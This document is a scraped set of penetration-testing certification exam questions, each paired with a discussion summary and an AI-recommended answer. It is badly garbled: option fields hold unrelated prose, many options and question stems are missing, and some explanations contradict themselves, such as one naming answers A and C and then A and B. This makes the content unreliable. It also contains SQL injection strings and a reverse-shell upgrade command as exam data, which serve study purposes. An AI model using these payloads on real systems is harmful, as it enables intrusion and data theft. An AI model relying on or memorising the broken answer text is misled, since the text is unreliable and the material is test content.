", "options": [{"letter": "A", "text": "Deny that the vulnerability existed", "html": "From the internet discussion, the consensus answer to this question is B. Investigate the penetration tester., which is the most appropriate initial action. The reason is to gather information about the situation, including the pentester's motivations, before taking further steps. Options A, C, and D are considered incorrect because A is unethical, C could lead to legal liability without a proper investigation, and D might require established grounds for termination. The investigation should cover the pentester's actions, the cause of the failure to report the vulnerability, and review the company's policies and procedures to prevent future incidents.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer of B. Investigate the penetration tester.
\nReasoning:
\nThe scenario describes a situation where a penetration tester acted unethically and potentially maliciously by not reporting a critical vulnerability that led to a data breach. The immediate next step should be to investigate the penetration tester's actions and motivations. This investigation will help determine the extent of the damage, the reasons behind the tester's failure to report, and the appropriate course of action.
\nInvestigating the penetration tester is crucial for several reasons:\n
\n
\nCitations:\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester is contracted to attack an oil rig network to look for vulnerabilities. While conducting the assessment, the support organization of the rig reported issues connecting to corporate applications and upstream services for data acquisitions. Which of the following is the MOST likely culprit?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Patch installations", "html": "D. Bandwidth limitations is the answer that received the most agreement from the internet discussion. The reason is that during penetration testing, network activities like scanning, enumeration, and exploitation attempts can generate significant network traffic, consuming available bandwidth and leading to connectivity issues. Some comments also considered that successful exploits could cause network disruptions and service outages but more comments agree with bandwidth limitations. Therefore, based on the information provided, the most likely culprit is bandwidth limitation during the penetration testing from Q2 2021 to Q1 2025.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The suggested answer is D (Bandwidth limitations).
\n
\nReasoning: The question describes a scenario where a penetration tester is actively engaged in assessing an oil rig network. Simultaneously, the support organization reports connectivity problems. The most probable cause is the excessive network traffic generated by the penetration testing activities, such as scanning and enumeration, leading to bandwidth saturation. This aligns with the discussion summary, which highlights how penetration testing activities can consume considerable bandwidth.
\n
\nReasons for not choosing the other options:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester has identified several newly released CVEs on a VoIP call manager. The scanning tool the tester used determined the possible presence of the CVEs based off the number of the service. Which of the following methods would BEST support validation of the possible findings?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Manually check the version number of the VoIP service against the CVE release.", "html": "From the internet discussion, which includes comments from Q2 2021 to Q1 2025, the consensus answer to this question is A. Manually check the version number of the VoIP service against the CVE release., which the reason is this is the best and most reliable way to validate the possible findings. Many users agree that this approach allows direct confirmation of the vulnerability's presence in the specific service version. B. Test with proof-of-concept code from an exploit database on a non-production system, is also a good approach. However, manually checking the version number against the CVE release is the best approach. Others noted that manual checking avoids the risks and potential legal issues associated with exploiting vulnerabilities and potentially causing disruption to the system.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer A, which states to \"Manually check the version number of the VoIP service against the CVE release.\"
\nThe reason for choosing A is because it is the most direct and reliable method to validate if the identified CVEs are applicable to the VoIP call manager. By comparing the software version with the CVE's affected versions, the penetration tester can accurately determine if the vulnerability is present.
\nHere's a detailed breakdown:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tThe results of an Nmap scan are as follows:![](\"topic_1_question_174/image_0.png\"/)
Which of the following device types will MOST likely have a similar response?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
From the internet discussion, the consensus answer to this question is B. IoT/embedded device. The reasoning is based on the Nmap scan results indicating a \"bridge general purpose\" device type and the operating system being QEMU. This aligns with the characteristics of IoT/embedded devices. Comments also note that other options such as active directory domain controllers, exposed RDP, and print queues would have different Nmap scan results.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer of B. IoT/embedded device.
\nReasoning: The Nmap scan results indicate a \"bridge general purpose\" device type and the operating system being QEMU. This combination strongly suggests an IoT or embedded device, as QEMU is often used for emulating different architectures, which is common in the development and deployment of embedded systems. IoT devices frequently run on resource-constrained hardware and utilize customized or lightweight operating systems, potentially leading to scan results like the one provided.
\nReasons for not choosing other options:\n
\nThe key indicators pointing to an IoT/embedded device are \"bridge general purpose\" and the QEMU operating system.\n
"}, {"folder_name": "topic_1_question_175", "topic": "1", "question_num": "175", "question": "Which of the following are the MOST important items for prioritizing fixes that should be included in the final report for a penetration test? (Choose two.)", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhich of the following are the MOST important items for prioritizing fixes that should be included in the final report for a penetration test? (Choose two.)\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "The CVSS score of the finding", "html": "Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is A and C, which the reason is because A and C are the only ones that help in identifying which to address first, and they also deal with the priority of the vulnerability. The CVSS score provides a measure of severity, and the vulnerability identifier is needed for remediation, but A and B are needed for PRIORITIZATION. A. The CVSS score of the finding and C. The vulnerability identifier.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer of A and C.
\nReasoning: Prioritizing fixes in a penetration test report requires a focus on the severity and identifiability of vulnerabilities.\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tUser credentials were captured from a database during an assessment and cracked using rainbow tables Based on the ease of compromise, which of the following algorithms was MOST likely used to store the passwords in the database?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "MD5", "html": "From the internet discussion, the consensus of the answer to this question is A. MD5, which the reason is that MD5 is an older and weaker algorithm that is more easily cracked using techniques like rainbow tables. Bcrypt, SHA-1, and PBKDF2 are considered stronger algorithms and more resistant to cracking attempts.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer of A. MD5.
\nReasoning: The question states that user credentials were captured and cracked using rainbow tables. Rainbow tables are precomputed tables used to reverse cryptographic hash functions. MD5 is a relatively old hashing algorithm that is known to be vulnerable to collision attacks and rainbow table attacks due to its speed and simpler design. This makes it easier to crack compared to more modern and robust algorithms.
\nBcrypt, SHA-1, and PBKDF2 are significantly more resistant to rainbow table attacks and brute-force attacks because:
\n
\nReasons for not selecting other options:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester is testing a web application that is hosted by a public cloud provider. The tester is able to query the provider's metadata and get the credentials used by the instance to authenticate itself. Which of the following vulnerabilities has the tester exploited?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Cross-site request forgery", "html": "Agree with Suggested Answer. From the internet discussion, the conclusion of the answer to this question is B. Server-side request forgery, which the reason is that Server-side request forgery (SSRF) is an attack vector that allows an attacker to access internal resources that are not normally accessible from outside the network. The penetration tester exploited this vulnerability by querying the provider's metadata to get the credentials that the instance is using to authenticate itself.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI assistant agrees with the suggested answer.
\nThe recommended answer is B. Server-side request forgery.
\nReasoning: Server-Side Request Forgery (SSRF) vulnerabilities allow an attacker to make requests on behalf of the server. In cloud environments, instances often have access to metadata services (e.g., AWS, Azure, GCP) that provide information about the instance itself, including credentials. If a web application allows an attacker to control the destination of a request made by the server, the attacker can potentially query the metadata service and retrieve sensitive information like credentials. This is precisely what's happening in the question scenario.
\nWhy other options are incorrect:\n
\n
\n\nTherefore, SSRF is the most appropriate answer.\n
"}, {"folder_name": "topic_1_question_178", "topic": "1", "question_num": "178", "question": "A penetration tester was contracted to test a proprietary application for buffer overflow vulnerabilities. Which of the following tools would be BEST suited for this task?", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester was contracted to test a proprietary application for buffer overflow vulnerabilities. Which of the following tools would be BEST suited for this task?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "GDB", "html": "From the internet discussion from Q2 2023 to Q2 2024, the consensus of the answer to this question is A. GDB (GNU Debugger), which the reason is GDB is a debugging tool that can be used to find buffer overflow vulnerabilities in software programs. The comments highlight that GDB is designed to help testers find weaknesses in code that could be used to exploit the program.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer, which is A. GDB (GNU Debugger).
\nReasoning:
\nGDB (GNU Debugger) is a powerful debugging tool widely used for analyzing and identifying vulnerabilities in software, including buffer overflows. It allows testers to step through code execution, examine memory, and identify conditions that could lead to a buffer overflow. The tool is specifically designed to detect and analyze low-level memory corruption issues. During a penetration test focused on buffer overflows, GDB enables precise analysis of the application's behavior, making it the most suitable choice.
\nReasons for not choosing the other options:
\n
Therefore, GDB is the most appropriate tool for the task of finding buffer overflow vulnerabilities in a proprietary application during a penetration test.
\nCitations:
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhich of the following would assist a penetration tester the MOST when evaluating the susceptibility of top-level executives to social engineering attacks?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Scraping social media for personal details", "html": "Based on the internet discussion from Q2 2024 to Q3 2024, the consensus answer to this question is A. Scraping social media for personal details. The reason is that scraping social media allows a penetration tester to gather information about an executive's interests, hobbies, family, and other personal details, which can be used to craft more convincing and targeted social engineering attacks. This approach is most helpful in evaluating the susceptibility of top-level executives to such attacks because it provides a wealth of information for crafting tailored attacks.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer, A. Scraping social media for personal details.
\n
\nReasoning:
\nThe most effective way to assess a top-level executive's vulnerability to social engineering is to gather personal information. Social media scraping provides details about their lives, interests, and relationships. This data enables a penetration tester to craft highly believable and targeted social engineering attacks, thus accurately evaluating the executive's susceptibility. Tailored attacks are much more likely to succeed than generic ones, making this approach superior.
\n
\nWhy other options are less suitable:\n
\n
\nCitations:\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester is testing a new API for the company's existing services and is preparing the following script:![](\"topic_1_question_180/image_0.png\"/)
Which of the following would the test discover?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
Agree with the suggested answer. From the internet discussion, the consensus of the answer to this question is C. Supported HTTP methods, which the reason is that the script iterates through different HTTP methods (GET, POST, PUT, TRACE, CONNECT, OPTIONS) to determine which methods the API supports. This allows the penetration tester to identify available methods for interaction. The provided examples also include a bash script demonstrating the testing of HTTP methods using tools like `netcat`.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe suggested answer is C (Supported HTTP methods).
\n
\nReasoning:
\nThe provided script iterates through a list of HTTP methods (GET, POST, PUT, TRACE, CONNECT, OPTIONS) and sends a request to the target API endpoint for each method. The purpose is to identify which HTTP methods the API supports. This is a standard technique used in penetration testing to understand the API's capabilities and potential vulnerabilities. The script effectively probes the API's functionality by attempting various methods and analyzing the responses. A successful response (e.g., HTTP 200 OK) indicates that the method is supported, while an error response (e.g., HTTP 405 Method Not Allowed) indicates that it is not.\n
\n
\nReasons for not choosing the other options:\n
Supporting Citations:
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tGiven the following script:![](\"topic_1_question_181/image_0.png\"/)
Which of the following BEST characterizes the function performed by lines 5 and 6?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
From the internet discussion from Q2 2024 to Q2 2025, the conclusion of the answer to this question is D. Prints each DNS query result already stored in variable b, which the reason is because:
\n
\nThe suggested answer is D: Prints each DNS query result already stored in variable b.
\nReasoning: The script first creates a DNS query packet (line 3), sends the query, and stores the results in the variable 'b' (line 4). Lines 5 and 6 then loop through the results stored in 'b' and print each individual DNS query result. This corresponds directly to option D.
\nWhy other options are incorrect:\n
\nThe key point is understanding the flow of the script: create a packet, send a packet, store the results, and then print the results.\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration-testing team needs to test the security of electronic records in a company's office. Per the terms of engagement, the penetration test is to be conducted after hours and should not include circumventing the alarm or performing destructive entry. During outside reconnaissance, the team sees an open door from an adjoining building. Which of the following would be allowed under the terms of the engagement?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Prying the lock open on the records room", "html": "Agree with Suggested Answer. From the internet discussion from Q2 2022 to Q3 2024, the conclusion of the answer to this question is C. Presenting a false employee ID to the night guard, which the reason is the scenario states that the test should be conducted after hours and should not circumvent the alarm or perform destructive entry. C aligns with these requirements. Other options like entering through an open window or other means might trigger the alarm or involve circumvention of security measures. The use of a false employee ID is a form of social engineering, which is allowed to conduct the penetration test.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer, C. Presenting a false employee ID to the night guard.
\nReasoning:
\nThe question specifies that the penetration test should be conducted after hours and should not include circumventing the alarm or performing destructive entry. Option C, presenting a false employee ID to the night guard, falls under the category of social engineering. Social engineering tests are often within the scope of penetration tests, especially when physical security is being assessed. This method does not involve destructive entry or directly circumventing alarms but tests the human element of security.\n\n
\nReasons for not choosing other options:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester discovers during a recent test that an employee in the accounting department had been making changes to a payment system and redirecting money into a personal bank account. The penetration test was immediately stopped. Which of the following would be the BEST recommendation to discourage this type of activity in the future?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Enforce mandatory employee vacations.", "html": "Agree with Suggested Answer From the internet discussion from Q4 2022 to Q3 2024, the conclusion of the answer to this question is A. Enforce mandatory employee vacations, which the reason is that mandatory vacations can help uncover fraudulent activities by forcing the employee to be away from their duties. This absence allows others to review their work and potentially discover any irregularities. Other opinions suggest that implementing Multi-Factor Authentication (MFA) could be a good solution; however, MFA mainly protects against unauthorized access and does not directly address internal fraud.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer, A. Enforce mandatory employee vacations.
\nReasoning:
\nMandatory vacations are a key preventative control against internal fraud. They force employees to relinquish control of their duties, allowing other employees to review their work and potentially uncover fraudulent activities that might otherwise go unnoticed. This is particularly effective in roles involving financial transactions, where irregularities can be easily concealed.
\nWhy other options are less suitable:\n
\nAccording to the 2024 Report to the Nations by the Association of Certified Fraud Examiners (ACFE), lack of internal controls contributes to the internal fraud, and implementing mandatory vacations is one kind of internal control.
\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester who is working remotely is conducting a penetration test using a wireless connection. Which of the following is the BEST way to provide confidentiality for the client while using this connection?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Configure wireless access to use a AAA server.", "html": "From the internet discussion from Q2 2021 to Q1 2025, the conclusion of the answer to this question is D, which the reason is that a VPN provides confidentiality when connecting remotely. The comments agree with this answer because a VPN encrypts all data transmitted between the penetration tester's device and the remote network. Another opinion is that A is incorrect, because it is not the best option for providing confidentiality in this scenario.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer, which is D. Connect to the penetration testing company's VPS using a VPN.
\n
\nReasoning:
\nThe question emphasizes providing confidentiality for the client while the penetration tester is working remotely using a wireless connection. A VPN (Virtual Private Network) creates an encrypted tunnel between the penetration tester's machine and the penetration testing company's VPS (Virtual Private Server). This encryption ensures that all data transmitted, including sensitive client information and penetration testing activities, remains confidential and protected from eavesdropping or interception over the wireless connection. This is crucial for maintaining the client's security and privacy during the engagement.
\n
\nWhy other options are incorrect:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester is able to use a command injection vulnerability in a web application to get a reverse shell on a system After running a few commands, the tester runs the following:
python -c 'import pty; pty.spawn(\"/bin/bash\")'
Which of the following actions Is the penetration tester performing?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
From the internet discussion, spanning from Q2 2021 to Q1 2025, the consensus answer to this question is B. Upgrading the shell, which the reason is that the command `python -c 'import pty; pty.spawn(\"/bin/bash\")'` is used to spawn an interactive TTY shell, which allows the penetration tester to upgrade a reverse shell to a more fully functional, interactive shell, providing a better user experience and more functionality. This command imports the pty module to create a pseudo-terminal and executes bash within it, allowing for interactive and complex tasks.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe suggested answer is correct.
\nThe command `python -c 'import pty; pty.spawn(\"/bin/bash\")'` is indeed used to upgrade a simple shell (like a reverse shell obtained through command injection) into a more interactive and functional shell. This is because the `pty` module creates a pseudo-terminal, which allows the spawned shell (in this case, `/bin/bash`) to behave more like a real terminal, supporting features like job control, tab completion, and proper handling of signals.
\n
\nReasoning for Choosing B (Upgrading the shell):\n
\nIn summary, the python command enhances the existing shell, so \"Upgrading the shell\" is the most accurate description of the action performed.\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester opened a shell on a laptop at a client's office but is unable to pivot because of restrictive ACLs on the wireless subnet. The tester is also aware that all laptop users have a hard-wired connection available at their desks. Which of the following is the BEST method available to pivot and gain additional access to the network?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Set up a captive portal with embedded malicious code.", "html": "Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is C, which the reason is the most agreed comments suggest that the best approach to pivot from a wireless network with restrictive ACLs is to force users to connect to the wired network, where ACLs might be less restrictive. This can be achieved by using deauthentication packets (or span deauthentication packets) to disconnect users from the wireless network, thereby forcing them to use the wired connection. Other options like setting up an evil twin are less effective because the question assumes that users have a wired connection available and does not clarify how the pentester would get them to connect to the fake AP, given the restrictive ACLs on the wireless network, and also those options do not explain how to get on the wired network directly. Some comments also point out that option A, reverse shell, would require a prior exploitation on wireless that this question does not clarify and thus are not the best option to consider.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The suggested answer of C is correct.
\nReasoning: The scenario describes a situation where a penetration tester needs to pivot from a compromised laptop on a wireless network with restrictive ACLs to the wired network. The key information is that users have a hard-wired connection available. The most direct and effective method to achieve this pivot is to force users off the wireless network and onto the wired network. Sending deauthentication packets achieves this by disrupting the wireless connection, encouraging users to switch to their available wired connections.
\nWhy other options are incorrect:\n
\nTherefore, option C is the most direct and reliable method to pivot to the wired network.\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA tester who is performing a penetration test discovers an older firewall that is known to have serious vulnerabilities to remote attacks but is not part of the original list of IP addresses for the engagement. Which of the following is the BEST option for the tester to take?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Segment the firewall from the cloud.", "html": "\n Agree with Suggested Answer. From the internet discussion, the conclusion of the answer to this question is C. Notify the client about the firewall, which the reason is because the tester should inform the client about the discovery of the firewall as soon as possible, so that the client can take appropriate actions. In a penetration testing engagement, the tester should always follow the rules of engagement defined by the client.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI assistant agrees with the suggested answer, which is C. Notify the client about the firewall.
\nReasoning: The most appropriate course of action for a penetration tester who discovers an asset with known vulnerabilities that is outside the defined scope of engagement is to inform the client immediately. This is because the tester's primary responsibility is to identify and report security issues to the client, enabling them to make informed decisions about their infrastructure's security posture. Discovering a vulnerable firewall, even if not explicitly listed in the engagement scope, poses a significant risk to the organization. By notifying the client, the tester fulfills their ethical and professional obligations, allowing the client to take appropriate remediation steps.
\nWhy other options are not the best:\n
\n In penetration testing, adherence to the defined scope and clear communication with the client are paramount. The discovery of a vulnerable asset outside the scope warrants immediate notification to the client, enabling them to address the issue according to their internal policies and procedures.\n
\n\n Citations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester is looking for vulnerabilities within a company's web application that are in scope. The penetration tester discovers a login page and enters the following string in a field:
1;SELECT Username, Password FROM Users;
Which of the following injection attacks is the penetration tester using?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
Agree with Suggested Answer From the internet discussion, spanning from Q4 2022 to Q2 2024, the consensus answer to this question is C. Stacked queries, which the reason is that the provided input attempts to execute multiple SQL commands within a single call by using semicolons as separators. This technique is known as stacked queries, allowing the attacker to execute multiple queries in a single request, where the input value combined with an additional SQL query. Other opinions mentioned include \"blind SQL\", \"Error-based SQL\" and \"SQL UNION attack\" but were not agreed upon by the majority of commenters.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\n The AI agrees with the suggested answer, which is C. Stacked queries.
\nReasoning: The provided input string `1;SELECT Username, Password FROM Users;` attempts to execute two SQL queries in a single request. The semicolon (`;`) is used to separate the two queries. This technique is known as a stacked query injection. The attacker is trying to execute an additional, malicious query (`SELECT Username, Password FROM Users`) after the original query (represented by `1;`).
\nReasons for not choosing the other options:\n
\n Based on the above reasoning and the consensus from the discussion, the most appropriate answer is Stacked queries.\n
\n\n Citations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhich of the following can be used to store alphanumeric data that can be fed into scripts or programs as input to penetration-testing tools?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Dictionary", "html": "Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is A dictionary, which the reason is that a dictionary is a data structure used to store key-value pairs, suitable for storing wordlists used in penetration testing tools such as brute-force password crackers. The key is the word or phrase, and the value can be a description. The other options listed (B. Directory, C. Symlink, D. Catalog, E. For-loop) are not designed for this purpose.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\n The AI concurs with the suggested answer, which is A. Dictionary.
\nReasoning: A dictionary, in the context of penetration testing, is essentially a wordlist. Wordlists are collections of alphanumeric data (words, phrases, passwords, usernames, etc.) that are commonly used as input for various penetration testing tools. These tools often leverage dictionaries for tasks like brute-force password cracking, vulnerability scanning, and fuzzing.
\n The dictionary provides a structured way to store and access this data, allowing the tools to iterate through the list and test different combinations.
\nWhy other options are incorrect:\n
\nTherefore, a dictionary is the most suitable option for storing alphanumeric data to be used as input for penetration testing tools.\n
\nCitations:
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester is trying to restrict searches on Google to a specific domain. Which of the following commands should the penetration tester consider?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "inurl:", "html": "Agree with Suggested Answer. From the internet discussion, the conclusion of the answer to this question is C - site: operator, which the reason is that the \"site:\" operator filters search results to the specified domain. Also, the \"inurl:\" operator restricts search results to URLs that contain a specified keyword. The operators \"intitle:\" and \"link:\" are deprecated.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer.
\nThe correct answer is C. site:
\nReasoning:
\n The \"site:\" operator is used in search engines like Google to restrict search results to a specific domain. This is exactly what the penetration tester is trying to achieve.
\n
\nIn Summary: The \"site:\" operator is the most appropriate choice for restricting Google searches to a specific domain.\n
\nCitations:
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA client would like to have a penetration test performed that leverages a continuously updated TTPs framework and covers a wide variety of enterprise systems and networks. Which of the following methodologies should be used to BEST meet the client's expectations?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "OWASP Top 10", "html": "From the internet discussion, the conclusion of the answer to this question is MITRE ATT&CK framework, which the reason is that this framework uses TTPs and provides a methodology for penetration testing that uses a continuously updated framework and covers a wide variety of enterprise systems and networks. Other frameworks such as OWASP Top 10, the NIST Cybersecurity Framework, and the Diamond Model of Intrusion Analysis were deemed less suitable because they focus on specific areas like web application security, high-level guidance or intrusion analysis, rather than comprehensive penetration testing with a TTPs focus.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer, which is B. MITRE ATT&CK framework.
\nReasoning: The question specifically asks for a penetration testing methodology that leverages a continuously updated TTPs (Tactics, Techniques, and Procedures) framework and covers a wide variety of enterprise systems and networks. The MITRE ATT&CK framework is a comprehensive knowledge base of adversary tactics and techniques based on real-world observations. It's continuously updated and provides a structured way to understand and simulate adversary behavior, making it ideal for penetration testing that aims to emulate real-world threats across various enterprise systems.\n
\nReasons for not choosing other options:\n
\nTherefore, the MITRE ATT&CK framework is the most suitable choice for meeting the client's expectations as it directly addresses the requirements of a continuously updated TTPs framework covering a wide variety of enterprise systems and networks.\n
\n\nSuggested Answer: B. MITRE ATT&CK framework\n
\n\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tDuring a web application test, a penetration tester was able to navigate to https://company.com and view all links on the web page. After manually reviewing the pages, the tester used a web scanner to automate the search for vulnerabilities. When returning to the web application, the following message appeared in the browser: unauthorized to view this page. Which of the following BEST explains what occurred?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "The SSL certificates were invalid.", "html": "Based on the internet discussion from Q3 2024 to Q4 2024, the consensus answer is B. The primary reason for this conclusion is that the tester's IP address was likely blocked, possibly due to excessive traffic generated during reconnaissance.
\n Other options are ruled out because: \n
\nBased on the question and the discussion, the AI recommends the suggested answer, which is B: The tester IP was blocked.
\n
\nReasoning: The scenario describes a situation where a penetration tester initially accessed a web application successfully, but after using a web scanner, they were blocked from accessing the page and received an \"unauthorized\" message. This strongly suggests that the web application's security mechanisms detected the scanner's activity as potentially malicious and blocked the tester's IP address. Web scanners often generate a high volume of requests in a short period, which can trigger security systems like intrusion detection/prevention systems (IDS/IPS) or web application firewalls (WAFs) to block the source IP.\n
\n
\nReasons for excluding other options:\n
\nIn summary, the \"unauthorized\" message following the use of a web scanner strongly indicates that the tester's IP address was blocked due to suspicious activity.\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA red team completed an engagement and provided the following example in the report to describe how the team gained access to a web server:
x’ OR role LIKE '%admin%
Which of the following should be recommended to remediate this vulnerability?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
Agree with Suggested Answer. From the internet discussion, the conclusion of the answer to this question is D: Parameterized queries, which the reason is the question is asking how to remediate the SQL injection vulnerability. Parameterized queries allow developers to prevent malicious users from entering code in the form of SQL injections. Other options, such as MFA, encryption, and secure SDLC, are considered general best practices but do not directly address and remediate the specific SQL injection vulnerability.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer, which is D: Parameterized queries.
\nReasoning: The provided example \"x’ OR role LIKE '%admin%\" is a classic SQL injection attempt. The best method to remediate SQL injection vulnerabilities is to use parameterized queries (also known as prepared statements). Parameterized queries ensure that user input is treated as data, not as part of the SQL query itself. This prevents attackers from injecting malicious SQL code.
\nReasons for not choosing other options:\n
\nSuggested Answer: D. Parameterized queries\n
"}, {"folder_name": "topic_1_question_194", "topic": "1", "question_num": "194", "question": "The following output is from reconnaissance on a public-facing banking website:Based on these results, which of the following attacks is MOST likely to succeed?", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tThe following output is from reconnaissance on a public-facing banking website:![](\"topic_1_question_194/image_0.png\"/)
Based on these results, which of the following attacks is MOST likely to succeed?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
The AI agrees with the suggested answer B.
\nReasoning: The provided output from reconnaissance indicates the server supports weak ciphers, including RC4. RC4 is a stream cipher with well-documented vulnerabilities making it the most likely target for a successful attack compared to the other options. The presence of RC4 immediately raises a red flag due to its known weaknesses. While 3DES and other 64-bit ciphers may present vulnerabilities, RC4 is generally considered a significantly weaker and more easily exploitable cipher.\n
\nWhy other options are less likely:\n
\n Based on the output, RC4 is the weakest link, therefore the most likely attack to succeed.\n
\nIn summary, while other vulnerabilities might exist, the presence of RC4 makes option B the most likely to succeed given the available information.
\nCitations:
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhich of the following documents is agreed upon by all parties associated with the penetration-testing engagement and defines the scope, contacts, costs, duration, and deliverables?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "SOW", "html": "Agree with Suggested Answer. From the internet discussion, the conclusion of the answer to this question is A, which the reason is that a Statement of Work (SOW) is a document routinely employed in the field of project management. It is the narrative description of a project's work requirement. It defines project-specific activities, deliverables and timelines for a vendor providing services to the client.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer A (SOW).
\nReasoning: A Statement of Work (SOW) is the most appropriate document that encompasses all the listed elements: scope, contacts, costs, duration, and deliverables, agreed upon by all parties involved in a penetration testing engagement. It serves as a detailed roadmap for the project, ensuring everyone is on the same page.
\n
\nTherefore, the best answer is A (SOW).\n
\n\n Citations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tIn Python socket programming, SOCK_DGRAM type is:\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "reliable.", "html": "Agree with Suggested Answer. From the internet discussion, the conclusion of the answer to this question is Connectionless, which the reason is SOCK_DGRAM is a type of socket used for connectionless communication, meaning it does not require confirmation. It's often used for protocols like DNS and UDP-based applications. It provides datagrams, which are connectionless messages of a fixed maximum length, commonly used for short messages where order and reliability aren't guaranteed, such as a name server or time server. SOCK_DGRAM is implemented on the User Datagram Protocol/Internet Protocol (UDP/IP) protocol.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer.\n
\nThe correct answer is C. connectionless.\n
\nReasoning:\n
\nSOCK_DGRAM is used for connectionless communication, meaning that each packet of data is sent independently without requiring a prior connection setup or guaranteed delivery. This makes it suitable for applications where speed and efficiency are more important than reliability, such as streaming media or online gaming.\n
\nWhy other options are incorrect:\n
